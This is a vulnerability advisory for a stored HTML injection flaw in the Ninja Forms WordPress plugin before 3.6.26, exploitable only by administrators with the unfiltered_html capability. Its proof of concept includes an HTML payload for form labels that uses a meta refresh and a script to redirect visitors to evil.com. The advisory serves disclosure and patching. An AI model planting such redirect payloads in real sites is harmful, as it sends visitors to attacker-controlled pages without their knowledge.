WordPress Plugin Vulnerabilities

Ninja Forms < 3.6.26 - Admin+ Stored HTML Injection

Description

The plugin does not sanitize and escape its label fields, which could allow high privilege users such as admin to perform Stored HTML injection. Only users with the unfiltered_html capability can perform this, and such users are already allowed to use JS in posts/comments etc however the vendor acknowledged and fixed the issue

Proof of Concept

Put the following code in any form field (for example name, email, message etc) labels:

<!DOCTYPE html> <html> <head> <style> @keyframes moving {     0% { transform: translateX(0); }     50% { transform: translateX(100px); }     100% { transform: translateX(0); } }  .horizontal-text {     display: inline-block;     animation: moving 2s infinite linear; } </style> </head> <body>     <div class="horizontal-text">Sam</div> </body> </html>

or 

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <meta http-equiv="refresh" content="0; URL=https://evil.com">
</head>
<body>
  <script>
    window.location.href = "https://evil.com";
  </script>
</body>
</html>

Affects Plugins

Fixed in 3.6.26

References

Classification

Type
INJECTION
OWASP top 10
CVSS

Miscellaneous

Original Researcher
Sayandeep Dutta
Submitter
Sayandeep Dutta
Verified
Yes

Timeline

Publicly Published
2023-08-07 (about 9 months ago)
Added
2023-08-07 (about 9 months ago)
Last Updated
2023-08-23 (about 8 months ago)

Other